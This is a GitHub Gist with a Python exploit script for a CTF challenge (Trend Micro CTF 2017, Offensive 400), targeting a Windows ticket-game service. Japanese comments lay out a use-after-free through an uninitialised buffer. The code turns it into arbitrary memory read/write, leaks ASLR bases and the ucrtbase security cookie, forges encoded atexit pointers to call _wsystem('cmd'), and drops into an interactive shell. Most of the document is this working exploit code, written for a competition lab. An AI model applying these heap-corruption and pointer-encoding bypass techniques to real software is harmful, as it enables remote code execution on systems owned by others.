Last active
July 2, 2017 15:58
-
-
Save eggpod/b0153b419fea31c6e0e922c95e0198cf to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding: utf-8 | |
# Trend Micro CTF 2017 pre - Analysis-Offensive 400 | |
from struct import * | |
from socket import * | |
import re | |
from winappdbg import Process, System, win32 | |
""" | |
CTF開催中とは異なり/nojailでしか試してません。(カレントディレクトリのucrtbase.dllを読み込むとクラッシュため) | |
AppJailLauncher.exe /key:flag.txt /port:4017 /timeout:36000000 /nojail playground.exe | |
struct Game { | |
u32 id; | |
char* desc; | |
u32 difficulty; | |
char* buffer; | |
} | |
struct Ticket { | |
u32 anual ; | |
u32 id; | |
u32 type; | |
Game* game; | |
} | |
1). Type4でgameにサイズ0x20のheapのアドレスを残して解放する。 | |
ticket1 = malloc(0x20) | |
ticket1->type = 4 | |
ticket1->annual = 0 | |
ticket1->game = malloc(0x20) | |
ticket1->game->buffer = malloc(10*2) | |
free(ticket1->game->buffer) | |
free(ticket1->game) | |
free(ticket1) | |
2). Type2でannualなチケットを作る。 | |
ticket2->gameがticket1->game->bufferと同じなら成功 | |
ticket2 = malloc(0x20) | |
ticket2->type = 2 | |
ticket2->annual = 1 | |
ticket2->game = malloc(0x20) # ticket2->game == ticket1->game->buffer | |
TicketBase : 0x1110413b70L | |
Annual : 0x1 | |
ID : 0x47 | |
Type : 0x2 | |
GameBase : 0x1110413b40L | |
ID : 0x47 | |
Desc : 0x7ff7e25f44f0L | |
Diffculty : 0xa | |
Buffer : 0x1110414270L | |
TicketBase : 0x1110413c30L | |
Annual : 0x0 | |
ID : 0x48 | |
Type : 0x4 | |
GameBase : 0x1110413c00L | |
ID : 0x48 | |
Desc : 0x7ff7e25f4d48L | |
Diffculty : 0x4 | |
Buffer : 0x1110413b40L | |
3). Type4のゲームには、difficulty>=11の時にgameが実行されずgame->bufferが未初期化状態になる脆弱性がある。 | |
また、annual==0 && difficulty=11なら未初期化でfreeされる。 | |
1)のticket1->game->bufferの値が変更されずに残っていれば、ticket3->game->bufferはticket2->gameのアドレスが残ったままとなっている。 | |
この状態なら利用中のticket2->gameがfreeされる | |
ticket3 = malloc(0x20) | |
ticket3->type = 4 | |
ticket3->annual = 0 | |
ticket3->game = malloc(0x20) | |
ticket3->game->buffer = ticket2->game # 未初期化。 ticket2->gameが残っている状態 | |
free(ticket3->game->buffer) # 未初期化のためticket2->gameをfreeする | |
free(ticket3->game) | |
free(ticket3) | |
int read_difficulty() | |
{ | |
int difficulty; | |
cout << "What difficulty do you want to play ?\n> "; | |
cin >> difficulty; | |
if(difficulty < 0) { | |
cout << "Invalid\n"; | |
return 0; | |
} else if(difficulty <= 10) { | |
return difficulty; | |
} else { | |
cout << "Are you kidding me ?\n"; | |
return -1; | |
} | |
} | |
void play_game() | |
{ | |
... | |
switch(ticket->type) | |
{ | |
case 4: | |
money = play_game4(ticket->game); | |
if(ticket->annual != 0) | |
return; | |
if(money == 0 || game == 0) | |
goto game_end; | |
free(ticket->game->buffer); | |
free(ticket->game); | |
break; | |
} | |
... | |
} | |
4). Type5でannualなチケットを作る | |
ticket4->game == ticket2->gameなら成功。 | |
この状態では、ticket2->gameとticket4->gameは同じアドレスを指し、ticket2->type==2、ticket4->type==5となっている。 | |
それぞれのゲームを遊んだ場合には以下の動作となる。 | |
Type2ではgame->bufferを1バイトずつ書き換えることができ、またgame->bufferリの内容をリークしてくれる。 | |
Type5ではgame->bufferの内容を8バイトまで書き換えることができる | |
また、両方のチケットともannual == 1のため永久に使える。 | |
この時点で基本的に最大8バイトの任意メモリの読み書きが可能となる。 | |
ticket4 = malloc(0x20) | |
ticket4->type = 5 | |
ticket4->annual = 1 | |
ticket4->game = malloc(0x20) # ticket4->game == ticket2->game | |
ticket4->game->buffer = annual_code_ptr | |
TicketBase : 0x1110413b70L | |
Annual : 0x1 | |
ID : 0x47 | |
Type : 0x2 | |
GameBase : 0x1110413b40L | |
ID : 0x4a | |
Desc : 0x7ff7e25f4da8L | |
Diffculty : 0xa | |
Buffer : 0x7ff7e25f76d8L | |
TicketBase : 0x1110413e40L | |
Annual : 0x1 | |
ID : 0x4a | |
Type : 0x5 | |
GameBase : 0x1110413b40L | |
ID : 0x4a | |
Desc : 0x7ff7e25f4da8L | |
Diffculty : 0xa | |
Buffer : 0x7ff7e25f76d8L | |
成功するとinfo_ticketの結果のgame_nameとdescriptionが異なる状態になる | |
"GuessME" && "You are so kind" | |
[136, 'Annual', 'GuessME', 'You are so kind'] | |
[137, 'Annual', 'GuessME', 'Do you know what i am thinking ? Guess me if you can'] | |
[140, 'Annual', 'DonateME', 'You are so kind'] | |
[141, 'Annual', 'DonateME', 'You are so kind'] | |
5). ASLRアドレスの特定 | |
Type5で設定されるgame->bufferの値はannual codeの置かれているアドレスであり、 | |
実行ファイルの.data セクションのアドレスなこと、近くにstd::vector<Ticket*>を保存した構造体があるため、 | |
初めに1byte単位で一部書き換えるた後にType2で遊ぶことでチケットに利用されているheapのアドレスがわかる。 | |
Type5のチケットのgame->bufferのannual_code_ptrは実行ファイル内のアドレスのためheapと実行ファイルのASLRを突破できる。 | |
game_play(ticket2) | |
read(stdin, &ticket2->game->buffer, 8) # game2でアドレスの変更 | |
game_play(ticket4) | |
read(stdin, ticket4->game->buffer, 8) # game5で内容の書き換え | |
""" | |
ror64 = lambda x,n:((x>>n)|(x<<(64-n)))&0xFFFFFFFFFFFFFFFF | |
rol64 = lambda x,n: ror64(x, 64-n) | |
pointer_decode = lambda x,cookie: ror64(cookie^x, cookie&0x3F) | |
pointer_encode = lambda x,cookie: rol64(x,cookie&0x3f)^cookie | |
DEBUG=True | |
GAME_CALC = 1 | |
GAME_GUESS = 2 | |
GAME_QA = 3 | |
GAME_BINGO = 4 | |
GAME_DONATE = 5 | |
INIT_MONEY = 300 | |
PADDING_TICKET = 30 | |
NtSetInformationProcess = win32.windll.ntdll.NtSetInformationProcess | |
NtSetInformationProcess.argtypes = [win32.HANDLE, win32.ULONG, win32.PVOID, win32.ULONG] | |
NtSetInformationProcess.rettype = win32.ULONG | |
RtlNtStatusToDosError = win32.windll.ntdll.RtlNtStatusToDosError | |
RtlNtStatusToDosError.argtypes = [win32.ULONG] | |
RtlNtStatusToDosError.rettype = win32.ULONG | |
def SetProcessDefaultHardErrorMode(hProcess, mode): | |
ProcessDefaultHardErrorMode = 12 | |
mode = win32.ULONG(mode) | |
result = NtSetInformationProcess(hProcess, ProcessDefaultHardErrorMode, win32.byref(mode), 4) | |
result = RtlNtStatusToDosError(result) | |
return result | |
def DisableCrashDialog(hProcess): | |
SEM_FAILCRITICALERRORS = 0x0001 | |
SEM_NOGPFAULTERRORBOX = 0x0002 | |
SEM_NOOPENFILEERRORBOX = 0x8000 | |
return SetProcessDefaultHardErrorMode(hProcess, SEM_FAILCRITICALERRORS|SEM_NOGPFAULTERRORBOX) | |
def dump_ticket(): | |
if not DEBUG: | |
return | |
system = System() | |
process_list = system.find_processes_by_filename("playground.exe") | |
assert(len(process_list) == 1) | |
proc = process_list[0][0] | |
DisableCrashDialog(proc.get_handle()) | |
base_addr = 0 | |
for addr in win32.EnumProcessModulesEx(proc.get_handle()): | |
name = win32.GetModuleFileNameExW(proc.get_handle(), addr) | |
if re.search("playground\\.exe", name): | |
base_addr = addr | |
assert(base_addr != 0) | |
ticket_list_addr = base_addr + 0x76f8 | |
ticket_list_begin, ticket_list_end = unpack("2Q", proc.read(ticket_list_addr, 8*2)) | |
ticket_count = (ticket_list_end - ticket_list_begin)//8 | |
ticket_addrs = unpack("Q"*ticket_count, proc.read(ticket_list_begin, ticket_count*8)) | |
ticket_addrs = ticket_addrs[PADDING_TICKET:] | |
print "TicketTable : %s" % (hex(ticket_list_begin)) | |
for addr in ticket_addrs: | |
ticket_raw = unpack("4Q", proc.read(addr, 8*4)) | |
print "TicketBase : %s" % hex(addr) | |
print " Annual : %s" % hex(ticket_raw[0]) | |
print " ID : %s" % hex(ticket_raw[1]) | |
print " Type : %s" % hex(ticket_raw[2]) | |
print " GameBase : %s" % hex(ticket_raw[3]) | |
game_raw = unpack("4Q", proc.read(ticket_raw[3], 8*4)) | |
print " ID : %s" % hex(game_raw[0]) | |
print " Desc : %s" % hex(game_raw[1]) | |
print " Diffculty : %s" % hex(game_raw[2]) | |
print " Buffer : %s" % hex(game_raw[3]) | |
def read_until(p, delim = "\n"): | |
s = "" | |
while 1: | |
c = p.recv(1) | |
s += c | |
if s[-len(delim):] == delim: | |
return s | |
#print [s] | |
def read_skip(p, size): | |
total = 0 | |
while total != size: | |
r = p.recv(size-total) | |
total += len(r) | |
def read_menu(sock): | |
r = read_until(sock, "choice> ") | |
#print r | |
def leave(sock): | |
sock.sendall("0\n") | |
def buy_ticket(sock, game_type, use_code=False): | |
if use_code: | |
sock.sendall("1\n%d\n%s\n" % (game_type, "y")) | |
else: | |
sock.sendall("1\n%d\n%s\n" % (game_type, "n")) | |
read_until(sock, "Finished, Ticket ID is ") | |
ticket_id = int(read_until(sock,"\n")) | |
read_menu(sock) | |
return ticket_id | |
def info_ticket(sock, ticket_id): | |
sock.sendall("2\n%d\n" % (ticket_id)) | |
read_until(sock, "> ") | |
s1 = read_until(sock, "\n") # Ticket ID: 0001 | |
if re.search('Ticket does not exist', s1): | |
info = None | |
else: | |
s2 = read_until(sock, "\n") # Type: | |
s3 = read_until(sock, "\n") # Game: | |
s4 = read_until(sock, "\n") # Description: | |
info = [] | |
info.append(int(s1[len("Ticket ID: "):-2], 10)) | |
info.append(s2[len("Type: "):-2]) | |
info.append(s3[len("Game: "):-2]) | |
info.append(s4[len("Description: "):-2]) | |
read_menu(sock) | |
return info | |
def play_game1(sock, ticket_id, difficulty, answer = None): | |
sock.sendall("3\n%d\n%d\n" % (ticket_id, difficulty)) | |
read_until(sock, "Give me your ticket id> ") | |
read_until(sock, "> ") | |
r = read_until(sock, "=?\r\n") | |
#print "calc:%s" % r[0:-4] | |
calc = re.split("([+*])", r[0:-4]) | |
if answer == None: | |
left = calc[0] | |
answer = 0 | |
for i in range(1,len(calc)-1,2): | |
answer = eval(str(left) + calc[i] + calc[i+1]) | |
left = answer | |
#print "answer:%d" % (answer) | |
sock.sendall("%d\n" % answer) | |
r = read_until(sock, "\n") | |
assert("Congrats!\r\n" == r) | |
else: | |
#print "answer:%d" % (answer) | |
sock.sendall("%d\n" % answer) | |
read_menu(sock) | |
def play_game2(sock, ticket_id, difficulty, answer="1", is_hit = False): | |
sock.sendall("3\n%d\n%d\n" % (ticket_id, difficulty)) | |
read_until(sock,"> ") | |
read_until(sock,"> ") | |
r = read_until(sock,">") | |
r = re.search("Try guess password \\(([0-9]+)\\)\\>", r) | |
count = int(r.group(1)) | |
for i in range(count): | |
sock.sendall("%s\n" % (answer)) | |
read_menu(sock) | |
def play_game3(sock, ticket_id, difficulty, answer = "1", is_hit=False): | |
sock.sendall("3\n%d\n%d\n" % (ticket_id, difficulty)) | |
read_until(sock,"> ") | |
read_until(sock,"> ") | |
sock.sendall(answer+"\n"); | |
read_menu(sock) | |
def play_game4(sock, ticket_id, difficulty): | |
sock.sendall("3\n%d\n%d\n" % (ticket_id, difficulty)) | |
read_until(sock,"> ") | |
read_until(sock,"> ") | |
read_menu(sock) | |
def play_game5(sock, ticket_id, code): | |
sock.sendall("3\n%d\n%s\n" % (ticket_id, code)) | |
read_until(sock,"> ") | |
read_until(sock,"Thank you, ") | |
data = read_until(sock,"\r\n") | |
data = data[0:-2] | |
read_menu(sock) | |
return data | |
def add_money(sock, total_money): | |
for money in range(0, total_money, 10): | |
ticket_id = buy_ticket(sock, 1) | |
play_game1(sock, ticket_id, 10) | |
def set_annualcode(sock, code): | |
ticket_id = buy_ticket(sock, 5) | |
play_game5(sock, ticket_id, code) | |
def check_money(sock): | |
sock.sendall("4\n") | |
r = read_until(sock, "You won $") | |
money = read_until(sock, "\r\n") | |
money = money[0:-2] | |
read_menu(sock) | |
return int(money) | |
memory_game2_ticket_id = None | |
memory_game5_ticket_id = None | |
def set_memory_rw_ticket(game2_ticket_id, game5_ticket_id): | |
global memory_game2_ticket_id, memory_game5_ticket_id | |
memory_game2_ticket_id = game2_ticket_id | |
memory_game5_ticket_id = game5_ticket_id | |
def write_memory(sock, addr, data): | |
addr = pack("Q", addr) | |
assert(len(data) <= 8) | |
play_game2(sock, memory_game2_ticket_id, 10, addr) | |
leak = play_game5(sock, memory_game5_ticket_id, data) | |
return leak | |
def read_memory(sock, addr): | |
return write_memory(sock, addr, "") | |
def read_memory_u64(sock, addr, minsize=0): | |
r = read_memory(sock, addr) | |
print [r] | |
assert(len(r) >= minsize) | |
return unpack("Q", r.ljust(8, "\x00")[0:8])[0] | |
def main(): | |
sock = socket(AF_INET, SOCK_STREAM) | |
try: | |
sock.connect(("localhost", 4017)) | |
#sock.settimeout(20) | |
read_menu(sock) | |
add_money(sock, INIT_MONEY) | |
set_annualcode(sock, "UCQxLVtT") | |
# おまじない。なるべく隙間を埋める | |
for i in range(PADDING_TICKET): | |
ticket_id = buy_ticket(sock, 1, use_code=True) | |
play_game1(sock, ticket_id, 1) | |
# おまじない。game->bufferにheapのアドレスを残す | |
for i in range(10): | |
ticket_id = buy_ticket(sock, 4) | |
play_game4(sock, ticket_id, 10) | |
old_ticket_id1 = buy_ticket(sock, 2, use_code=True) | |
old_ticket_id2 = 0#buy_ticket(sock, 2, use_code=True) # おまじない。調整用 | |
print "--exploit--" | |
ticket_id1 = buy_ticket(sock, 4) | |
ticket_id2 = buy_ticket(sock, 4) | |
dump_ticket() | |
play_game4(sock, ticket_id1, 11) | |
play_game4(sock, ticket_id2, 11) | |
dump_ticket() | |
new_ticket_id1 = buy_ticket(sock, 5, use_code=True) | |
new_ticket_id2 = buy_ticket(sock, 5, use_code=True) | |
print "--memory view--" | |
dump_ticket() | |
info2 = [] | |
for i in range(old_ticket_id1, old_ticket_id1+8): | |
r = info_ticket(sock, i) | |
if r != None: | |
info2.append(r) | |
print "--info--" | |
for info in info2: | |
print info | |
print "--end--" | |
if info2[0][2] == 'GuessME' and info2[0][3][0:3] == 'You': | |
game2_ticket_id = old_ticket_id1 | |
game5_ticket_id = new_ticket_id1 | |
elif info2[1][2] == 'GuessME' and info2[1][3][0:3] == 'You': | |
game2_ticket_id = old_ticket_id2 | |
game5_ticket_id = new_ticket_id1 | |
else: | |
raise Exception("ticket information") | |
set_memory_rw_ticket(game2_ticket_id, game5_ticket_id) | |
print hex(game2_ticket_id), hex(game5_ticket_id) | |
# moneyを変える | |
play_game2(sock, game2_ticket_id, 10, pack("B", 0xE8)) | |
play_game5(sock, game5_ticket_id, pack("Q", 1000000+2)) | |
# check_moneyにより"You won $1000000"が表示される | |
money = check_money(sock) | |
assert(money == 1000000) | |
# ticket tableのheap addressをleak | |
play_game2(sock, game2_ticket_id, 10, pack("B", 0xF8)) | |
leak = play_game5(sock, game5_ticket_id, "") | |
leak_ticket_table_addr = unpack("Q", leak.ljust(8,"\x00"))[0] | |
print hex(leak_ticket_table_addr) | |
dump_ticket() | |
for i in range(4): | |
try: | |
# Type5のticket ptrを読む。 | |
leak_ticket_addr = read_memory_u64(sock, leak_ticket_table_addr+(PADDING_TICKET+i)*8, minsize=4) | |
print "ticket=%s"%hex(leak_ticket_addr) | |
# game ptrを読む | |
leak_game_addr = read_memory_u64(sock, leak_ticket_addr+0x18, minsize=4) | |
print "game=%s"%hex(leak_game_addr) | |
# game->descを読む | |
leak_desc_addr = read_memory_u64(sock, leak_game_addr+0x08, minsize=4) | |
break | |
except Exception, e: | |
print e | |
# base addressを求める | |
if (leak_desc_addr & 0xFFF) == 0x4F0: | |
leak_base_addr = leak_desc_addr - 0x44f0 # Do you know what i am thinking ? Guess me if you can | |
elif (leak_desc_addr & 0xFFF) == 0xDA8: | |
leak_base_addr = leak_desc_addr - 0x4da8 # You are so kind | |
else: | |
raise Exception("description address") | |
# base addressの確認 | |
print "base=%s"%hex(leak_base_addr) | |
if (leak_base_addr & ~0xFFF) == 0 and pack("Q", leak_base_addr).find("\x0a") != -1: | |
raise Exception("base address") | |
ucrtbase_exit_offset = 0x6860 | |
wsystem_offset = 0x0A4CE8 | |
# ucrtbase | |
leak_exit_addr = read_memory_u64(sock, leak_base_addr+0x41e0, minsize=4) | |
leak_ucrtbase_base = leak_exit_addr - ucrtbase_exit_offset | |
print "ucrt_base : %s" % hex(leak_ucrtbase_base) | |
print "--read security_cookie--" | |
# cookie | |
cookie = read_memory_u64(sock, leak_ucrtbase_base+0xE5420, minsize=4) | |
# encrypt ptr | |
# 0xE70A8, 0xE7090 | |
atexit_ctx_ptr = leak_ucrtbase_base+0xE70A8 | |
print "atexit_ctx : %s" % hex(atexit_ctx_ptr) | |
print "--encrypt_ptr--" | |
encrypt_ptr = read_memory_u64(sock, atexit_ctx_ptr+8, minsize=4) | |
decrypt_ptr = pointer_decode(encrypt_ptr, cookie) | |
print "decrypt_ptr : %s" % hex(decrypt_ptr) | |
wsystem_addr = leak_ucrtbase_base + 0xA4DAE | |
cmd_addr = decrypt_ptr-0x40 | |
print "wsystem : %s" % hex(wsystem_addr) | |
print "cmd : %s" % hex(cmd_addr) | |
# onexitで使う部分を書き換える | |
func_addr = wsystem_addr | |
func_addr = rol64(func_addr, (cookie&0x3f)) ^ cookie | |
encrypt_cmd_addr = pointer_encode(cmd_addr, cookie) | |
print "--write 1--" | |
write_memory(sock, decrypt_ptr-8, pack("Q", func_addr)) | |
write_memory(sock, decrypt_ptr-0x20, pack("Q", 0)) | |
print "--write 2--" | |
write_memory(sock, atexit_ctx_ptr, pack("Q", encrypt_cmd_addr)) | |
print "--write 3--" | |
write_memory(sock, cmd_addr, "c\x00m\x00d\x00\x00\x00") | |
# rsp 16バイトalignment対策 | |
call_execute_on_exit_table = leak_ucrtbase_base+0x69f5 | |
call_execute_on_exit_table = pointer_encode(call_execute_on_exit_table, cookie) | |
write_memory(sock, leak_ucrtbase_base+0xe7418, pack("Q", call_execute_on_exit_table)) | |
leave(sock) | |
print "shell>" | |
import telnetlib | |
t = telnetlib.Telnet() | |
t.sock = sock | |
t.interact() | |
finally: | |
sock.close() | |
for i in range(100): | |
try: | |
main() | |
except Exception, e: | |
print "retry" | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment